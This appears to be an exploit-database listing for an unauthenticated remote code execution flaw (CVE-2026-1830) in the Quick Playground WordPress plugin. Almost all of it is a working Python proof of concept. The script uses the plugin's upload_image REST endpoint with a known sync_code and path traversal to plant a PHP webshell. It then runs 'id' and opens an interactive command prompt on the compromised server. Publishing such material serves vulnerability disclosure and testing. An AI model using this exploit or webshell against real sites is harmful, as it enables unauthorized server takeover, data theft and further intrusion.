Share
## https://sploitus.com/exploit?id=PACKETSTORM:222218
# Exploit Title: Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution 
    # Google Dork: N/A
    # Date: 2026-05-22
    # Exploit Author: cardosource
    # Vendor Homepage: https://quickplayground.com
    # Software Link: https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip
    # Version: <= 1.3.1
    # Tested on: Docker / Debian / Apache / PHP 8.2 / WordPress 6.x
    # CVE: CVE-2026-1830
    #
    # Description:
    #
    # The Quick Playground plugin exposes a REST API endpoint:
    #
    #   /wp-json/quickplayground/v1/upload_image/{profile}
    #
    # The endpoint validates uploads exclusively through a sync_code value
    # without requiring authenticated WordPress sessions or capability checks.
    #
    # Vulnerable code:
    #
    #   if($code == $sync_code)
    #       return true;
    #
    # If a valid sync_code is known, weak, reused, leaked, or predictable,
    # an attacker can upload arbitrary files using path traversal sequences.
    #
    # This PoC demonstrates arbitrary PHP file upload resulting in remote
    # command execution in a controlled local lab environment.
    #
    # LAB SETUP:
    #
    # docker exec -it <container> \
    #   wp option update qckply_sync_code_default 'exploit123' --allow-root
    #
    # Usage:
    #
    # python3 poc.py
    #
    import requests
    import base64
    import random
    import string
    import re
    
    TARGET = "http://localhost:8080"
    SYNC_CODE = "exploit123"
    PROFILE = "default"
    
    s = requests.Session()
    s.headers.update({
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/json"
    })
    
    name = ''.join(random.choices(string.ascii_lowercase, k=8)) + ".php"
    
    shell = b'<?php if(isset($_GET["cmd"])){echo "<pre>";system($_GET["cmd"]);echo "</pre>";} ?>'
    
    payload = {
        "sync_code": SYNC_CODE,
        "filename": f"../../../{name}",
        "base64": base64.b64encode(shell).decode()
    }
    
    url = f"{TARGET}/wp-json/quickplayground/v1/upload_image/{PROFILE}"
    
    print("[-] Sending webshell...")
    r = s.post(url, json=payload, timeout=15)
    
    try:
        msg = r.json().get("message", "")
    except:
        print("[-] Invalid server response")
        exit()
    
    if "saving to" not in msg:
        print("[-] Upload failed")
        print(r.text[:300])
        exit()
    
    print("[-] Checking execution...")
    
    shell_url = f"{TARGET}/{name}"
    
    r = s.get(shell_url, params={"cmd": "id"}, timeout=10)
    
    m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
    
    if not m:
        print("[-] Shell not responding")
        exit()
    
    print("[+] RCE CONFIRMED!")
    print(f"[+] Shell: {shell_url}?cmd=command")
    print(f"[+] User: {m.group(1).strip()}\n")
    
    while True:
        cmd = input("$ ").strip()
    
        if cmd == "exit":
            break
    
        if not cmd:
            continue
    
        r = s.get(shell_url, params={"cmd": cmd}, timeout=30)
    
        m = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
    
        if m:
            print(m.group(1).strip())